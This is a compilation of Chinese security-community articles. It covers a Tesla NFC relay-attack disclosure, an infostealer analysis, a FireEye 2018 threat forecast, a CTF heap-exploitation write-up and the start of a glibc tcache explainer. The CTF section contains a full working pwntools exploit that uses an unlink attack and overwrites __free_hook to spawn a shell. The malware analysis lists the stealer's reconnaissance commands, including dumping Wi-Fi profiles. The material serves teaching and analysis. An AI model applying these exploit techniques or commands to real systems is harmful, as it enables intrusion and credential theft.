这里我们来看一个移动支付卡的案例, 其中最关键的环节就是将特定的字节偷梁换柱. 逼迫其进入磁条卡模式, 从而绕过了PIN的检测机制.
那么我们是否也可以对Tesla的交互数据做同样的操作呢?
在经过大量尝试后, 我们终于发现只要在车端发起AID 请求初始阶段.将不存在的F4 drop 掉就可以为后面的中继攻击争取到足够的时间.
具体的攻击效果与分享, 欢迎大家移步到DEFCON 28的官方YOUTUBE频道围观.
## 0x04 TESLA一封回信
本着互责任披露的原则, 银基老虎队发现问题后立刻与Tesla安全部门取得了联系, 并附上了详细的漏洞细节. Tesla安全部门反应很快周末期间也立刻回信了,
不过很可惜他们认为NFC中继攻击是个系统已知且无解漏洞. 但是他们提供了一个变相的解决方案, 据Tesla建议对中继攻击感到担忧的用户,
可以启用PIN2Drive这个功能. 这是一个类似手机PIN密码的功能. 也就是说如果没有正确的PIN密码, 盗贼无法启动车辆.
有趣的是我们在Tesla的官网找到了一段关于PIN2Drive的描述. 这个PIN2Drive仅是一个4位纯数字密码.
且我们还发现其并没有密码输入防爆破功能. 所以完全可能被爆破.
因此分析了解PIN2Drive后, 我们向漏洞管理平台CVE申请了编号CVE-2020-15912并得出了以下结论供大家参考.
首先必须要强调的是PIN2Drive并不能防御中继攻击, 它只能防御车子不被启动. 所以被中继攻击后, 车门被打开的风险仍旧存在.
车内存放的贵重物品仍可能丢失, 甚至还有被放入GPS跟踪器等设备的隐患. 最后做个简单的总结100 % 的绝对安全并不存在, 新的趋势将会带来新的攻击点.
比如针对中继攻击有厂商已经采用了新的解决方案UWB. 但其是否真的如其所说的那样安全? 这就有待时间来检验了.
## 0x05 参考文献
<https://github.com/nfcgate>
<https://www.youtube.com/watch?v=nn-_3AbtEkI>
<https://www.carhackingvillage.com/speaker-bios#htm3nrr>
<https://tches.iacr.org/index.php/TCHES/article/view/8289>
<https://gist.github.com/darconeous/tesla-key-card-protocol>
<https://salmg.net/2018/12/01/intro-to-nfc-payment-relay-attacks>
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15912> | 社区文章 |
# 恶意文件概述
新型窃密软件伪装成一款图形编辑软件，运行后持续窃取用户信息，并发送给攻击者服务器。
# 恶意文件分析
## 1.恶意文件描述
近期，深信服深盾终端实验室在运营工作中捕获到一款功能复杂的新型信息窃取软件， **该病毒由 C++ 语言编写，套用了开源软件 ZLMediaKit
的部分代码并在其基础上开发恶意模块。该程序的释放的文件包含具有数字签名的正常的库文件，以及没有数字签名但伪装成正常系统文件的 exe 程序。**
该软件疑似为 Gitee 上的一个私人的名称为 Aps
的项目，其所释放的自行开发或二次开发的文件中，仍然存在部分调试信息。攻击者在开发时采用强链接的方式，将库函数的代码尽可能多的链接到程序中，增加程序的兼容性。
2.恶意文件分析
一、程序运行流程
进程启动后，会正常显示安装程序结束后的界面。同时，进程会执行 cmd 命令，结束系统安全服务。
同时，程序开始释放大量的文件，路径分别为：C:\Users\Sangfor\AppData\Roaming\Microsoft\Network、C:\Windows\SysWOW64\security。其中包含众多有数字签名正常文件，以及用于进行恶意行为的
NetworkService.exe 、SearchIndexerService.exe 。
plugin 目录下为病毒要加载的重要 DLL 文件。
DreamApslop.dll 主要功能为搜集主机信息、反调试以及向攻击者服务器发送窃取到的主机信息。
libssl-3.dll 、 libcrypto-3.dll 为通信过程中对数据加密时所需要调用的导出函数的库文件。
mk_api.dll 为开源软件 ZLMediaKit 所提供的导出函数库文件，攻击者基于此开源库再开发，增加了恶意代码模块。
使用释放的NetworkService.exe 启动进程。
二、释放的程序的运行流程
创建互斥量，防止进程重复运行。
使用不同的命令行再次启动，第二个参数为当前进程的窗口句柄，用于接收窗口消息，后续将用此接收消息并循环运行：
如果 Network 目录下不存在 para.ini 文件，则创建一个该名称的配置文件。
拼接字符串，调用开源软件的导出函数，并第一次发送网络请求给攻击者服务器，此处的 mk_http_requester_call为攻击者自行编写。
在此函数执行过程中，将会创建诸多线程，大多数线程为进程的辅助线程或 TPPworker，其中一个特殊的线程会调 CreateProcess
函数，再次运行一个 NetworkService.exe，参数与本进程相同但传入的CreationFlags 中含有 Suspend
属性。也就意味着，每次调用该函数都会向攻击者发送搜集的信息。
随后向服务器发送一个网络请求，并将接收到的数据存储到同目录下的 index.ini 文件下。
查找 plugin 目录下的文件，并将查找到的文件路径存储在结构体中。
加载 plugin 目录下所有的 DLL 文件，并尝试调用每一个DLL 文件的导出函数 Plugin_Create，并调用目标 DLL 的其它导出函数。
该导出函数会尝试加载四个 DLL
文件，分别为：plugin\libcrypto-3.dll、plugin\sqlite3.dll、plugin\mk_api.dll、plugin\libssl-3.dll。
随后获取磁盘序列号，加密并将数据转为 base64 后，发送给目标服务器。
服务器返回的数据解码后得到：
同时还搜集如下信息：
1. 通过 "cmd.exe /c ipconfig /all" 搜集所有的网卡信息。
2. 通过 "Process32Next"、"GetNativeSystemInfo" 获取当前系统运行的所有进程。
3. 通过 "cmd.exe /c whoami" 获取当前登录的用户名称。
4. 通过 "cmd.exe /c netsh wlan show profiles" 获取无线网卡配置信息。
向服务器发送的数据包如下： | 社区文章 |
# FireEye 2018年网络安全态势展望
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## Grady Summers，FireEye公司CTO
在我的日常工作当中，最值得称道的就是我有机会接触到安全行业当中最为亮眼的创新思维。更重要的是，这些思维往往来自第一代与第二代分析师、研究人员以及事件响应者，他们丰富的经验与专业知识甚至可以追溯自信息安全尚被称为“计算机安全”的时期。
公司内的同事们——包括FireEye CEO Kevin
Mandia——在上世纪九十年代中期一直奋战在安全第一线。那时候的安全挑战主要体现为间谍活动，即政府与军方间的监视活动。但几年之后，情况很快出现变化，黑客们开始利用Windows
NT实施网络犯罪。而自2000年开始，安全工作的重心开始转向私营部门，信息安全正式由纯军事任务转化为以民间事务为主体。
数十年不断演变的网络安全趋势为他们带来了极为宝贵的经验，他们亲身经历了技术进步、威胁演进以及背景变化，而这一切对于解读当下乃至未来的安全态势无疑至关重要。在本次FireEye安全预测报告中，记录了我对CEO
Kevin Mandia、云CTO Martin Hoste以及CSO Steve Booth的采访内容。接下来是来自FireEye公司iSIGHT
Intelligence、Mandiant
Consulting以及FireEye实验室团队的顶级专家们给出的各类见解。作为收尾部分的，则为对未来EMEA（即欧洲、非洲与中东）以及亚太地区的未来安全趋势展望。
## Kevin Mandia的2018年预测
问题：进入新的一年，首先出现在您脑海中的是什么？
这是个充满不确定性的时期。我意识到大多数安全违规事件由国家作为幕后支持力量。正因为如此，现代交战规则呈现出深深的无力感——俄罗斯、朝鲜、伊朗等国家的行为已经远远偏离了正常轨道。也正因为如此，每个国家都在发展相关现代攻击能力，且不受交战规则的制约。
问题：您提到网络安全从业者正面临着一系列挑战——除了国家支持型网络攻击，还有哪些其它挑战存在？
我们的身份信息同样面临威胁——出生日期、社保号码或身份证号码、税收信息乃至信贷资料等等，持续升温的数字化转型令相关安全违规行为带来愈发恐怖的后果。很明显，我们需要以更可靠的方式解决身份保护难题。另外，隐私问题也同样值得关注。
问题：在国际挑战方面，您认为民族国家在2018年会有怎样的行动？
虽然俄罗斯和朝鲜都是国际社会关注的对象，但我个人对伊朗的威胁更为担忧。就2017年来看，伊朗已经行动起来，但我们不确定对其恶意活动到底拥有怎样的把握能力——我猜测目前已经发现的恶意活动仅占伊朗实际行动中的5%左右。
问题：让咱们换个角度，随着云平台的逐渐普及，您对云安全有何看法？
我们需要更理想的云可见性。目前，已经有部分黑客不断进行密码试错以入侵公开邮件地址——这种看似简单的攻击方法实际上最为危险，我们必须建立起检测此类活动的能力。
问题：各类组织机构是否需要在2018年采取一些其现在还没有意识到的重要行动？
最重要的就是保护我们自己的员工。FireEye公司就在亲自处理这一问题。随着员工越来越多利用家庭设备、个人邮件及社交媒体处理工作，安全问题也随之产生。更重要的是，如果企业因员工个人帐户被盗而遭受安全违规，公众往往仍将责任归咎于企业，这将带来巨大的损失。
## 云首席技术官Martin Holste的2018年展望
问题：您认为2018年云计算将呈现怎样的发展趋势？
除了传统的公有云服务之外，SaaS也在2017年焕发出巨大生命力，这意味着人们开始真正将关键性数据部署在云端。着眼2018年，我认为将有更多企业意识到云环境下运行成本的显著优势，并进一步加快迁移速度。虽然也会有部分行业继续对云保持谨慎态度，不过我预计将有80%到85%的FireEye客户会迁移至云端。
问题：这一切对于攻击者意味着什么？
这意味着攻击者将紧跟数据进入云端，而无论这些数据的具体内容。攻击者才不纠结于内部抑或云环境，只要有利可图，他们就一定会采取行动。好消息是，云环境往往难以入侵，因为其一般不会受到传统安全缺陷的影响。但坏消息是，凭证突然之间变得极为重要。因此在云时代中，追踪登录者的真实身份与登录位置变得愈发重要。
问题：您认为民族国家会将攻击重点转向云环境吗？
地缘政治引起的攻击活动当然所在多有，我认为2018年这一状况还将继续保持。需要强调的是，这些国家深谙网络钓鱼之道，即直接打击安全体系中最薄弱的环节——人。
问题：您认为2018年内，是否会有某些行业比其他行业更可能成为攻击目标？
我认为云不会带来这种明显的针对性，威胁应该是普遍存在的。以过去一年中人们普遍关注的娱乐行业为例，我认为并不是说黑客活动在针对娱乐业展开，而是娱乐行业终于同其他行业一样意识到了安全工作的重要性。
问题：在迁移至公有云中时，各类组织机构应在新一年中如何确保抢在威胁与漏洞之前保护自身？
首先必须承认这一切的存在，并了解组织内部正在发生什么——例如建立态势感知体系，并对全部关键性资产拥有可见能力。
其次，企业必须立足自身实施云环境保护。例如对待上传文件进行统一管理，并配合高级别检测与反病毒扫描等等。
问题：在公有云中，可见性可能相对更易于实现，但机构本身仍然需要主动配合，对吧？
没错。云服务供应商确实提供不少理想的解决方案，但用户一方也得有所行动，例如将各类管理控制台集中起来并加以保护。当然这还只是开始，用户还需要建立更为深层的管理机制，但同时亦必须保证工作量维持在合理程度。如果被日常监控任务所吞没，那么一切将毫无意义。
问题：您认为2018年公有云环境将迎来哪些新的创新性保护举措？
正如在上个问题中所言，我们首先应当有能力将一切数据汇总在同一个地方。这样一来，用户方面会更加省心省力，服务供应商也能够更轻松地与之对接。
## 首席安全官Steve Booth的2018年展望
问题：Steve，您负责保护的是一家网络安全公司——我觉得这活肯定不轻松。那在您看来，2018年的威胁前景会是怎样的？
我相信肯定还会出现新一轮有趣的攻击，而现有攻击手段也将以新的面貌再次出现。社交工程与鱼叉式钓鱼仍将继续存在，并更多针对个人帐户。
另外，企业员工将成为更重要的突破口，例如在个人手机上安装恶意应用。
最后，这个世界非常复杂，一次小小的失误就可能令任何平台成为攻击面，因此安全工作任重而道远。
问题：看起来，各类黑客组织之间都在相互借用以及窃取最佳攻击技术。
没错，有时候他们也会购买技术。当然，他们也有其他的技术获取途径，例如通过论坛或者阅读留言板，但最轻松的当然是直接购买商业恶意软件。
问题：说到威胁组织，您认为2018年民族国家会组织怎样的威胁活动？
根据现有观察结论，我们发现这些攻击者不仅实施传统间谍活动，也已经开始瞄准供应链乃至其他目标。更重要的是，由于还没有被纳入交战规则，因此如果使用计算机进行资金窃取，人们会认为这与从敌对国银行处偷钱并不是一回事——但实际这就是一回事。这确实非常矛盾。
问题：2018年特定行业中是否会出现一些比较具体的、以往尚未出现的威胁？
几乎各个行业都需要保持高度警惕。由于各个行业所掌握的数据越来越多，一部分攻击者可能希望窃取、破坏甚至操纵这些数据。
问题：各类组织机构应采取哪些行动以在2018年实现自我保护？
首先要有不怕麻烦的心态。现在的麻烦，才能成就未来的轻松——消极的态度只会引发更可怕的威胁与风险。
问题：下面来聊聊法规遵循问题。对于GDPR（即通用数据保护条例），您有什么看示？未来是否还会有其他将安全与监管联系起来的新举措？
最明显的变化就是，各方似乎都建立起自己的规定。我认为GDPR是真的在为人们制定行之有效的合规性政策。当然，其中一些内容还没有在法庭上得到验证，因此我们将密切关注其未来进展。
FireEye公司拥有全球最大的私有网络情报收集体系。以下预测来自我们FireEye
iSight、Mandiant以及FireEye实验室团队中的各位顶级专家。
情报摘要：
主要网络威胁赞助方将训练及装备盟友，同时传播威胁
网络大国可能故意分享其工具、技术与操作经验，这将使得归因工作变得更为复杂。美国网络司令部开始以积极方法为盟国提供训练支持，这类作法未来可能变得愈发普及。
必须强调的是，这种网络攻击能力的扩散可能引发致命后果，特别是在中东与亚洲地区。网络工具与技术的泛滥将快速提升风险等级，并最终造成严重影响。
针对软件供应链中的固有信任对象
恶意软件作者正越来越多地利用这种用户与软件供应商间的固有信任。利用新功能或用于修复安全漏洞的更新组件，攻击者反而将其转化为恶意载体，并令官方软件分发渠道沦为感染源。
以俄罗斯与朝鲜为代表的经济制裁打击目标很可能利用网络攻击，给全球经济体系构成更多系统性威胁。
Madniant Consulting意见：
来自民族国家与APT组织的攻击活动持续增加
鉴于目前的政治格局，我们预计朝鲜方面的网络攻击行动将进一步升级。同样值得关注的还有俄罗斯以及伊朗，特别是伊朗。伊朗的打击范围主要集中在中东地区，但也可能针对西方世界组织勒索及/或公开侮辱等活动。俄罗斯则继续利用网络攻击针对乌克兰等争议性目标。
高水平技术人员短缺催生出自动化攻击应对方式
2018年，技术人员短缺状况仍将继续存在，因此安全行业将越来越多利用自动化、机器学习与人工智能等技术成果。
新的监管条款将帮助组织机构提升数据保护能力
GDPR以及DFS（纽约州财政服务部）法规正是其中的典型代表。此外，新加坡、中国与加拿大也在积极出台自己的法律条款，用以保护公民与关键信息基础设施。但条款的实际执行仍然前路漫漫，2018年各组织机构需要与监管要求进行充分磨合，根据要求定期进行安全评估。
更多组织机构将通过测试验证自身控制潜在损害的能力
2018年，各类组织机构将进一步推动测试工作，旨在更为主动地应对可能出现的安全事故，从而发现自身弱点并保持理想的安全水平。
2018年，与GDPR（或其它监管规定）相关的勒索与敲诈事故可能有所增长，这主要是利用组织机构对于巨额罚款的潜在恐惧。
恶意攻击者还将继续瞄准能源行业怀工业
控制系统、零售业与酒店业。此外，技术行业（特别是云服务供应商）、IT服务供应商与专业服务公司（包括律师事务所、会计/审计公司）也将面临新的风险。
2017年内，勒索软件快速兴起并掀起一场腥风血雨。预计其还将新的一年中继续肆虐，并为作者带来丰厚的利润回报。
## FireEye实验室眼中的2018年
**基于云类攻击与逃避技术正持续增加**
近年来，攻击者开始越来越多利用云服务实施各类恶意攻击——包括托管URL以进行网络钓鱼乃至分发恶意软件等等。这令保护者一方很难作出有效应对。
**物联网攻击数量增长，多数针对安全漏洞**
2017年以来，物联网攻击活动大量出现，其中最值得关注的在于将此类受感染设备纳入超大规模僵尸网络，进而执行DDoS（分布式拒绝服务）攻击。随着物联网设备的持续普及，新的一年内可能会有更多攻击形式出现，包括对某些智能家居装置进行锁定以进行勒索。
**多向量网络钓鱼攻击及其逃避技巧**
利用PDF嵌入URL进行攻击的作法愈发常见，而攻击者也开始利用其它手段进行URL隐藏。这一切都将在2018年继续存在，并以新的面貌出现。当然，为大家所熟知的网络钓鱼、HTTPS攻击以及合法网站入侵等攻击手段也不会缺席。
**EMEA** **地区，是否已经为GDPR** **作好准备？**
2018年，欧洲地区将全面普及GDPR，用以取代原有数据保护命令95/46/EC。但由于整体欧洲地区的安全发展状况非常复杂，很多组织机构可能面临着难以满足GDPR要求的困境。
**网络活动遇上政治动机**
网络攻击在新的一年中也可能成为政治活动的延伸。2017年，世界各地的选举活动已经开始受到网络攻击的影响，而相对显著的结果意味着这样的趋势在2018年必然继续存在。
**网络成熟度提升，导致攻击手段更为复杂**
民族国家开始从各大国手中购买网络攻击技术，预计这一趋势将在2018年年内继续存在。而除了民族国家之外，普通黑客组织群体也将很快采取这种技术获取方法。
**联系已然无处不在**
EternalPetya（NotPetya）、WannCry以及BADRABBIT等近期泛滥的攻击已经开始经由联网基础设施产生一系列间接性影响。而随着GDPR等法规的出台，这些被不慎涉及的受害方很可能还面临着进一步损失——包括罚款、保费增加与品牌价值蒸发等。
2018年，数字化版本的《日内瓦公约》恐怕还不会出台
各国不太可能这么快就在网络空间层面达成一致性协议。
网络犯罪复杂度达到新的水平
以经济利益为动机的安全事故预计将在新的一年中继续增加。与国家支持型攻击活动不同，此类网络犯罪群体仅关注经济收益。这意味着任何负责处理资金或交易、且安全水平低下的组织机构，都有可能遭受攻击影响。
此外，个人身份信息将在2018年继续成为犯罪分子的关注目标，特别是考虑到地下经济活动对个人信任及凭证的迫切需求。
加密货币的价值与知名度持续提升，与之相关的恶意活动也将进一步升级。到2018年，预计将有更多恶意软件积极入侵加密货币钱包，或盗取用户凭证信息。
亦将有更多恶意软件传播途径出现。2017年，我们已经观察到勒索软件分发手段的大幅增加，2018年或将出现更为严重的规模提升。
未来挑战
无论是创新型攻击活动还是恶意软件，再到即将出台的法律法规，2018年显然将成为网络安全的新纪元。无论新一年中出现多少新的保障性举措，可以肯定的是我们绝对不能对接下来的安全态势掉以轻心。
与以往一样，企业面临着愈发艰难的安全保障道路。我们建议客户时刻为攻击活动作好准备，包括加以应对并进行事件缓解。我们应当保持乐观的态度，但同时客观审视行业中的所有不确定性，并真正将安全保障思维融入血液当中——这是解决问题，或者说至少是实现互联网技术所能够带来的种种收益的根本性前提。 | 社区文章 |
作者：[Hcamael@知道创宇404实验室](http://0x48.pw)
发布时间：2017-11-03
前几天做了看雪ctf的一道pwn题，但是工作比较忙，一直没时间写wp，今天有空了，把wp补上
据说这题出题人出题失误，导致题目难度大大下降，预期是house_of_orange的，但是利用unlink就能做了
#### 获取ELF基地址
程序中有一个猜随机数的功能，代码大致逻辑如下：
*seed = &seed;
srand(&seed);
......
v1 = rand();
puts("Please input the number you guess:");
printf("> ");
if ( v1 == sub_AFA() )
result = printf("G00dj0b!You get a secret: %ld!\n", *&seed);
else
result = printf("Wr0ng answer!The number is %d!\n", v1);
return result;
.bss:0000000000202148 seed
使用seed变量的地址作为伪随机数生成器的种子, 因为这个程序开启了PIE保护，所以实际上每次程序运行，种子都是不一样的,
然后随机生成一个数让你猜，猜对了告诉你种子，猜错了告诉你这个随机数
如果我们能得到种子，因为ELF基地址和seed地址的偏移值是固定的，所以我们就能算出ELF的基地址了
然后去翻阅了下random的源码：<https://code.woboq.org/userspace/glibc/stdlib/random.c.html>
207 void __srandom (unsigned int x)
209 {
210 __libc_lock_lock (lock);
211 (void) __srandom_r (x, &unsafe_state);
212 __libc_lock_unlock (lock);
213 }
214
215 weak_alias (__srandom, srandom)
216 weak_alias (__srandom, srand)
发现，`__srandom`的参数是无符号整型，长度只有32bit
虽然开了PIE，但ELF的基地址因为系统页对其的原因，最后12bit固定是0，所以，我们只需要爆破20bit，这是非常容易的，下面是部分payload代码：
def get_rand_num():
guess_num(123)
r.readuntil("is ")
random_num = int(r.readuntil("!")[:-1])
return random_num
def get_elf_base(random_num):
guess_num(random_num)
r.readuntil("secret:")
elf_base = int(r.readuntil("!")[:-1])
return elf_base-seed_address
def guest(random_num):
seed_base = 0x202148
libc = cdll.LoadLibrary("libc.so.6")
for x in xrange(0x10000000, 0xfffff000, 0x1000):
libc.srand(x+seed_base)
if libc.rand() == random_num:
next_randnum = libc.rand()
break
return next_randnum
def main():
random_num = get_rand_num()
next_randnum = guest(random_num)
elf_base = get_elf_base(next_randnum)
print "get ELF base address: 0x%x"%elf_base
因为python的random和c的是不一样的，所以这里使用ctypes去调用libc中的random
#### ELF中的漏洞
最关键的一个就是有一个bool标志位，默认值是0，表示该box没有malloc，当malloc后标志位会设置为1，但是当free后，却没有把标志位清零，这就导致可以无限free，一个被free的box，也可以修改和输出box的内容
另一个关键的漏洞是修改box内容的函数中存在off by one
for ( i = 0; dword_202090[v3] >= i; ++i )
{
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
*(i + qword_202100[v3]) = buf;
}
如果长度有24的box，却可以输入25个字符
还有一个也算漏洞的是再show
message函数中，输出使用了puts，输出是根据`\x00`判断结尾，而不是长度，而在修改message的函数中也没有在用户输入的数据结尾加`\x00`，所以有可能导致信息泄露，不过这个漏洞对我来说不重要，我的利用方法中，不包含其信息泄露的利用
#### 获取LIBC基地址
泄露LIBC地址的思路很简单，上面说了当一个box被free后因为标志位没有被清零，所以任然可以往里面写数据，输出数据。
如果我们free一个非fast chunk的chunk，也就是说free一个chunk
size大于maxfastsize的chunk，将会和unsortbin形成双链表，这个时候的结构如下：
这个时候fd和bk都指向arena中的top_chunk指针，我们能通过输出该box获取到该地址，然后根据偏移值计算出libc的基地址，部分代码如下:
def get_libc_base():
free_box(3)
show_message(3)
data = r.readuntil("You")[:-3].strip()
top = u64(data+"\x00\x00")
return top - top_chunk
def main():
....
create_box(1, 24)
create_box(2, 168)
create_box(3, 184)
create_box(4, 200)
libc_base = get_libc_base()
print "get libc base address: 0x%x"%libc_base
free的那个box不能是最后一个chunk，否则会和top chunk合并
#### unlink利用
网上很多unlink的文章，我就不细说了，简单的来说就是要过一个判断，执行一个指令
需要过一个判断：
P->fd->bk == P
P->bk->fd == P
执行一个指令
FD = P->fd
BK = P->bk
FD->bk = BK
BK->fd = FD
当利用之前的代码，泄露完libc地址后，堆布局是这样的：
0x555555757410: 0x0000000000000000 0x0000000000000021 <- box1
0x555555757420: 0x0000000000000000 0x0000000000000000
0x555555757430: 0x0000000000000000 0x00000000000000b1 <- box2
0x555555757440: 0x0000000000000000 0x0000000000000000
0x555555757450: 0x0000000000000000 0x0000000000000000
0x555555757460: 0x0000000000000000 0x0000000000000000
0x555555757470: 0x0000000000000000 0x0000000000000000
0x555555757480: 0x0000000000000000 0x0000000000000000
0x555555757490: 0x0000000000000000 0x0000000000000000
0x5555557574a0: 0x0000000000000000 0x0000000000000000
0x5555557574b0: 0x0000000000000000 0x0000000000000000
0x5555557574c0: 0x0000000000000000 0x0000000000000000
0x5555557574d0: 0x0000000000000000 0x0000000000000000
0x5555557574e0: 0x0000000000000000 0x00000000000000c1 <- box3
0x5555557574f0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757500: 0x0000000000000000 0x0000000000000000
0x555555757510: 0x0000000000000000 0x0000000000000000
0x555555757520: 0x0000000000000000 0x0000000000000000
0x555555757530: 0x0000000000000000 0x0000000000000000
0x555555757540: 0x0000000000000000 0x0000000000000000
0x555555757550: 0x0000000000000000 0x0000000000000000
0x555555757560: 0x0000000000000000 0x0000000000000000
0x555555757570: 0x0000000000000000 0x0000000000000000
0x555555757580: 0x0000000000000000 0x0000000000000000
0x555555757590: 0x0000000000000000 0x0000000000000000
0x5555557575a0: 0x00000000000000c0 0x00000000000000d0 <- box4
0x5555557575b0: 0x0000000000000000 0x0000000000000000
0x5555557575c0: 0x0000000000000000 0x0000000000000000
然后在.bss段有个地方储存着box的地址：
pwndbg> x/6gx 0x202100+0x555555554000
0x555555756100: 0x0000000000000000 0x0000555555757420
0x555555756110: 0x0000555555757440 0x5555557574f0
0x555555756120: 0x00005555557575b0 0x0000000000000000
因为在free box函数的代码中，有一个判断：
if ( !dword_202130[v1] || dword_2020B0[v1] )
return puts("You can not destroy the box!");
而dword_2020B0是已经初始化过，然后没有代码修改过的变量
.data:00000000002020B0 dword_2020B0 dd 2 dup(1), 2 dup(0), 2 dup(1)
扩展开了就是`[1, 1, 0, 0, 1, 1]`
所以只有2， 3两个box能被free
在之前已经free过了box3，如果再次free
box3，无法触发unlink操作，unlink操作只有在前一个或者后一个chunk未被使用时才会触发，所以我们需要通过free
box2来进行触发unlink操作
通过leave message函数来构造一个堆结构：
pwndbg> x/64gx 0x555555757410
0x555555757410: 0x0000000000000000 0x0000000000000021
0x555555757420: 0x0000000000000000 0x0000000000000000
0x555555757430: 0x0000000000000000 0x00000000000000c1 修改长度为0xc1
0x555555757440: 0x0000000000000000 0x0000000000000000
0x555555757450: 0x0000000000000000 0x0000000000000000
0x555555757460: 0x0000000000000000 0x0000000000000000
0x555555757470: 0x0000000000000000 0x0000000000000000
0x555555757480: 0x0000000000000000 0x0000000000000000
0x555555757490: 0x0000000000000000 0x0000000000000000
0x5555557574a0: 0x0000000000000000 0x0000000000000000
0x5555557574b0: 0x0000000000000000 0x0000000000000000
0x5555557574c0: 0x0000000000000000 0x0000000000000000
0x5555557574d0: 0x0000000000000000 0x0000000000000000
0x5555557574e0: 0x0000000000000000 0x00000000000000c1
0x5555557574f0: 0x00007ffff7dd1b78 0x00000000000000b1 构造成一个新的堆，长度为0xb1
0x555555757500: 0x0000555555756100 0x0000555555756108 构造fd和bk
0x555555757510: 0x0000000000000000 0x0000000000000000
0x555555757520: 0x0000000000000000 0x0000000000000000
0x555555757530: 0x0000000000000000 0x0000000000000000
0x555555757540: 0x0000000000000000 0x0000000000000000
0x555555757550: 0x0000000000000000 0x0000000000000000
0x555555757560: 0x0000000000000000 0x0000000000000000
0x555555757570: 0x0000000000000000 0x0000000000000000
0x555555757580: 0x0000000000000000 0x0000000000000000
0x555555757590: 0x0000000000000000 0x0000000000000000
0x5555557575a0: 0x00000000000000b0 0x00000000000000d0 修改prev_size为0xb0
0x5555557575b0: 0x0000000000000000 0x0000000000000000
0x5555557575c0: 0x0000000000000000 0x0000000000000000
0x5555557575d0: 0x0000000000000000 0x0000000000000000
0x5555557575e0: 0x0000000000000000 0x0000000000000000
0x5555557575f0: 0x0000000000000000 0x0000000000000000
0x555555757600: 0x0000000000000000 0x0000000000000000
构造了一个fd和bk指向存储box 地址的.bss段，这样就能构成一个双链表，bypass unlink的check:
P->fd->bk == P
P->bk->fd == P
不过这个时候如果free box2，会报错退出，报错的内容是 `free(): corrupted unsorted chunks`
去源码中搜一下该error的check:
4248 bck = unsorted_chunks(av);
4249 fwd = bck->fd;
4250 if (__glibc_unlikely (fwd->bk != bck))
4251 malloc_printerr ("free(): corrupted unsorted chunks")
bck指向unsortbin，所以fwd指向box3，然而box3的bk已经被构造成了新chunk的size位，所以报错退出了
这个时候只需要在free box2之前，malloc一个box5，这样将会把unsortbin中的box3分类到smallbin中，从而bypass
unsortbin check
#### 利用
在free box2之后，内存大致如下:
pwndbg> x/6gx 0x202100+0x555555554000
0x555555756100: 0x0000000000000000 0x0000555555757420
0x555555756110: 0x0000555555757440 0x0000555555756100
0x555555756120: 0x00005555557575b0 0x0000555555757680
box3的地址已经指向该bss段，从而我们已经可以做到任意地址写了
我的利用思路是，把box 2修改为free_hook的地址，然后把box 0修改为`/bin/sh\0`正好8byte，这样box
3就是一个`/bin/sh`字符串了
我们只需要在free_hook中写上system的地址，调用free(box
3)，则相当于调用system("/bin/sh\0")，从而达到getshell
完整payload如下:
from pwn import *
from ctypes import cdll
DEBUG = 1
if DEBUG:
context.log_level = "debug"
r = process("./club")
e = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
r = remote("123.206.22.95", 8888)
e = ELF("./libc.so.6")
malloc_hook = e.symbols['__malloc_hook']
free_hook = e.symbols['__free_hook']
system_address = e.symbols['system']
top_chunk = malloc_hook + 0x68
seed_address = 0x202148
addr_list = 0x202100
one_gadget = 0xf0274
puts_got = 0x202028
def create_box(n, l):
r.readuntil(">")
r.sendline("1")
r.readuntil(">")
r.sendline(str(n))
r.readuntil(">")
r.sendline(str(l))
def free_box(n):
r.readuntil(">")
r.sendline("2")
r.readuntil(">")
r.sendline(str(n))
def leave_message(n, msg):
r.readuntil(">")
r.sendline("3")
r.readuntil(">")
r.sendline(str(n))
r.sendline(msg)
def show_message(n):
r.readuntil(">")
r.sendline("4")
r.readuntil(">")
r.sendline(str(n))
def guess_num(n):
r.readuntil(">")
r.sendline("5")
r.readuntil(">")
r.sendline(str(n))
def get_rand_num():
guess_num(123)
r.readuntil("is ")
random_num = int(r.readuntil("!")[:-1])
return random_num
def guest(random_num):
seed_base = 0x202148
libc = cdll.LoadLibrary("libc.so.6")
for x in xrange(0x10000000, 0xfffff000, 0x1000):
libc.srand(x+seed_base)
if libc.rand() == random_num:
next_randnum = libc.rand()
break
return next_randnum
def get_elf_base(random_num):
guess_num(random_num)
r.readuntil("secret:")
elf_base = int(r.readuntil("!")[:-1])
return elf_base-seed_address
def get_libc_base():
free_box(3)
show_message(3)
data = r.readuntil("You")[:-3].strip()
top = u64(data+"\x00\x00")
return top - top_chunk
def main():
random_num = get_rand_num()
next_randnum = guest(random_num)
elf_base = get_elf_base(next_randnum)
print "get ELF base address: 0x%x"%elf_base
create_box(1, 24)
create_box(2, 168)
create_box(3, 184)
create_box(4, 200)
libc_base = get_libc_base()
create_box(5, 300)
print "get libc base address: 0x%x"%libc_base
set_list2_size = p64(0xc1)*3 + "\xc1"
leave_message(1, set_list2_size)
set_list3 = p64(0) + p64(0xb1) + p64(elf_base+addr_list) + p64(elf_base+addr_list+8)
set_list3 += "a"*0x90+p64(0xb0)
leave_message(3, set_list3)
free_box(2)
write_address_list = "/bin/sh\x00" + "a"*8 + p64(libc_base+free_hook)
leave_message(3, write_address_list)
leave_message(2, p64(libc_base+system_address))
free_box(3)
# leave_message(3, "aaaaaaaa")
# show_message(3)
r.interactive()
if __name__ == '__main__':
main()
#### 总结
unlink原理很早我就知道了，但是却是第一次实践，理论和实际还是差很大的，所以我踩了挺多的坑，花了挺多的时间
我还考虑过fastbin的double free的利用，但是失败了......
* * * | 社区文章 |
# tcache机制
tcache全名 _thread local caching_
，它为每个线程创建一个缓存（cache），从而实现无锁的分配算法，有不错的性能提升。lib-2.26【2.23以后】正式提供了该机制，并默认开启。
# tcache的数据结构
glibc在编译时使用`use_tcache`条件来开启tcache机制，定义了：
#if USE_TCACHE
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */
# define TCACHE_MAX_BINS 64 //每个线程默认使用64个单链表结构的bins
# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)
/* Only used to pre-fill the tunables. */
# define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
/* When "x" is from chunksize(). */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size. */
